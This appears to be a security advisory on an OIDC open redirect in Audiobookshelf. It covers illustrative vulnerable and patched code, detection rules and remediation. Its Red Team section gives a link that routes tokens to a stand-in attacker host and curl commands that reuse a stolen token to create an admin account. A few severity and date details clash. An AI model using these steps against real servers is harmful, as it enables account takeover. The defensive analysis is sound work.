CVE-2025-57800

Executive Summary

CVE-2025-57800 is a critical Open Redirect vulnerability in Audiobookshelf, an open-source self-hosted audiobook server. The flaw resides in the OIDC (OpenID Connect) authentication flow, where the application fails to properly validate redirect callback URLs. An attacker can craft a malicious login link that stores an arbitrary callback URL in a cookie. After the victim authenticates, the server issues a 302 redirect to the attacker-controlled URL, appending sensitive OIDC tokens as query parameters. This allows full account takeover, including the creation of persistent admin users if the victim is an administrator. Tokens are also leaked via browser history, Referer headers, and server logs. The vulnerability affects all deployments using OIDC from version 2.6.0 through 2.26.3. The issue is fixed in version 2.28.0, with no known workarounds.

Supply Chain & Package Security

Audiobookshelf is distributed as a Node.js application via npm and Docker images. The vulnerability is in the application's own OIDC handling code, not in a third-party dependency. However, the npm package audiobookshelf should be updated to version 2.28.0 or later. Users should verify the integrity of their installation by checking the package hash or using the official Docker image.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click the malicious link)
• Scope: Changed (impact extends beyond the vulnerable component)
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows for complete account takeover with minimal user interaction. The OIDC tokens can be used to impersonate the victim, including administrators, leading to full compromise of the Audiobookshelf instance.

Deep Dive & Mechanics

The vulnerability is a classic Open Redirect (CWE-601) combined with token leakage. The OIDC authentication flow in Audiobookshelf works as follows:

1. The user initiates login by clicking a link or being redirected to the OIDC provider.
2. The application stores a redirect parameter in a cookie to redirect the user back after successful authentication.
3. The application does not validate that the redirect URL is within the same origin or a trusted domain.
4. An attacker crafts a URL like: https://victim-audiobookshelf.com/auth/oidc?redirect=https://attacker.com/steal
5. When the victim clicks this link, the application stores https://attacker.com/steal in the cookie.
6. After the victim authenticates with the OIDC provider, the application reads the cookie and issues a 302 redirect to https://attacker.com/steal?token=...&id_token=....
7. The attacker's server receives the tokens, which can then be used to authenticate as the victim.

The tokens are also leaked via:

• Browser History: The full URL with tokens is stored in the browser's history.
• Referer Headers: When the browser navigates to the attacker's site, the Referer header may contain the previous URL (the Audiobookshelf instance).
• Server Logs: The Audiobookshelf server logs may contain the redirect URL with tokens.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.6.0 - 2.26.3):

// In auth/oidc.js or similar
app.get('/auth/oidc', (req, res) => {
  const redirectUrl = req.query.redirect || '/';
  res.cookie('redirect', redirectUrl, { httpOnly: true, secure: true });
  // Redirect to OIDC provider
  res.redirect(oidcProvider.authorizationUrl);
});

app.get('/auth/oidc/callback', (req, res) => {
  // ... validate OIDC response ...
  const redirectUrl = req.cookies.redirect || '/';
  res.redirect(redirectUrl + '?token=' + token);
});

Patched Code (version 2.28.0):

// In auth/oidc.js or similar
const ALLOWED_REDIRECT_DOMAINS = ['your-audiobookshelf-domain.com'];

app.get('/auth/oidc', (req, res) => {
  let redirectUrl = req.query.redirect || '/';
  // Validate the redirect URL
  try {
    const parsedUrl = new URL(redirectUrl, 'https://' + req.headers.host);
    if (!ALLOWED_REDIRECT_DOMAINS.includes(parsedUrl.hostname)) {
      redirectUrl = '/';
    }
  } catch (e) {
    redirectUrl = '/';
  }
  res.cookie('redirect', redirectUrl, { httpOnly: true, secure: true, sameSite: 'strict' });
  // Redirect to OIDC provider
  res.redirect(oidcProvider.authorizationUrl);
});

app.get('/auth/oidc/callback', (req, res) => {
  // ... validate OIDC response ...
  let redirectUrl = req.cookies.redirect || '/';
  // Validate the redirect URL again
  try {
    const parsedUrl = new URL(redirectUrl, 'https://' + req.headers.host);
    if (!ALLOWED_REDIRECT_DOMAINS.includes(parsedUrl.hostname)) {
      redirectUrl = '/';
    }
  } catch (e) {
    redirectUrl = '/';
  }
  res.redirect(redirectUrl + '?token=' + token);
});

The patch adds validation of the redirect URL against a whitelist of allowed domains. It also sets the sameSite attribute on the cookie to strict to prevent CSRF-like attacks.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running Audiobookshelf instance with OIDC enabled (version 2.6.0 - 2.26.3).
• An attacker-controlled server to receive the tokens (e.g., https://attacker.com/steal).
• A victim user with an active OIDC session.

Exploitation Steps:

1. Craft the malicious URL:

   https://victim-audiobookshelf.com/auth/oidc?redirect=https://attacker.com/steal
   

2. Deliver the URL to the victim (e.g., via phishing email, social media, or a compromised website).

3. Victim clicks the link and is redirected to the OIDC provider for authentication.

4. Victim authenticates (if not already logged in).

5. Audiobookshelf redirects the victim to https://attacker.com/steal?token=...&id_token=....

6. Attacker captures the tokens from the query parameters.

7. Attacker uses the tokens to authenticate as the victim:

   curl -X POST https://victim-audiobookshelf.com/api/authorize \
     -H "Authorization: Bearer <captured_token>"
   

8. If the victim is an admin, the attacker can create a new persistent admin user:

   curl -X POST https://victim-audiobookshelf.com/api/users \
     -H "Authorization: Bearer <captured_token>" \
     -H "Content-Type: application/json" \
     -d '{"username":"attacker","password":"P@ssw0rd!","type":"admin"}'
   

Lab Setup:

• Use Docker to run a vulnerable version: docker run -d -p 13378:80 ghcr.io/advplyr/audiobookshelf:2.26.3
• Configure OIDC with a test provider (e.g., Keycloak or Auth0).
• Set up a simple HTTP server to capture tokens: python3 -m http.server 9999

Blue Team

Detection:

• Monitor for unusual redirect parameters in OIDC authentication requests.
• Look for 302 redirects to external domains after OIDC callback.
• Check server logs for URLs containing ?token= or ?id_token= pointing to external domains.

Hunting:

• Search for log entries with redirect parameter containing external URLs.
• Analyze network traffic for OIDC callback responses with unexpected Location headers.

Prevention:

• Immediately upgrade to version 2.28.0 or later.
• If upgrade is not possible, disable OIDC authentication temporarily.
• Implement a Web Application Firewall (WAF) rule to block requests with redirect parameters pointing to external domains.

Indicators of Compromise (IOCs)

• Network IOCs:

  • URLs containing /auth/oidc?redirect=https:// (external domain)
  • HTTP 302 responses with Location header pointing to an external domain after /auth/oidc/callback
  • Query parameters token or id_token in URLs pointing to external domains

• Log IOCs:

  • Server log entries with redirect parameter containing external URLs
  • Log entries showing successful authentication followed by a redirect to an external domain

• File IOCs:

  • Unauthorized user accounts in the Audiobookshelf database
  • Modified configuration files (e.g., .env or config.json) with new admin users

• Behavioral IOCs:

  • Multiple failed login attempts followed by a successful OIDC login from an unusual IP
  • Creation of new admin users shortly after an OIDC login

Detection Engineering

YARA Rule

rule CVE_2025_57800_OIDC_Open_Redirect {
    meta:
        description = "Detects OIDC open redirect attempts in Audiobookshelf logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57800"
        severity = "high"

    strings:
        $redirect_param = /\/auth\/oidc\?redirect=https?:\/\// nocase
        $callback_redirect = /\/auth\/oidc\/callback.*Location: https?:\/\// nocase
        $token_leak = /[?&](token|id_token)=[a-zA-Z0-9._-]+/ nocase

    condition:
        any of ($redirect_param, $callback_redirect) and $token_leak
}

Sigma Rule

title: Audiobookshelf OIDC Open Redirect (CVE-2025-57800)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-57800 in Audiobookshelf logs
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-57800
logsource:
    category: webserver
    product: audiobookshelf
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/auth/oidc'
        cs-uri-query|contains: 'redirect=https://'
    condition: selection
falsepositives:
    - Legitimate use of external redirects (if configured)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-57800 Audiobookshelf OIDC Open Redirect";
    flow:to_server,established;
    content:"/auth/oidc"; http_uri;
    content:"redirect="; http_uri;
    pcre:"/redirect=https?:\/\//Ri";
    classtype:attempted-user;
    sid:10000001;
    rev:1;
    reference:cve,2025-57800;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Audiobookshelf to version 2.28.0 or later. This is the only complete fix.
2. If upgrade is not possible, disable OIDC authentication and use local accounts instead.
3. Rotate all OIDC client secrets and consider rotating user tokens.

Long-Term Mitigations:

1. Implement a Web Application Firewall (WAF) rule to block requests with redirect parameters pointing to external domains.
2. Monitor logs for the IOCs listed above.
3. Educate users about phishing attacks that may exploit this vulnerability.
4. Conduct a security audit of the Audiobookshelf instance to ensure no unauthorized accounts exist.

Workarounds (if upgrade is not possible):

• None are officially provided. The only workaround is to disable OIDC.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert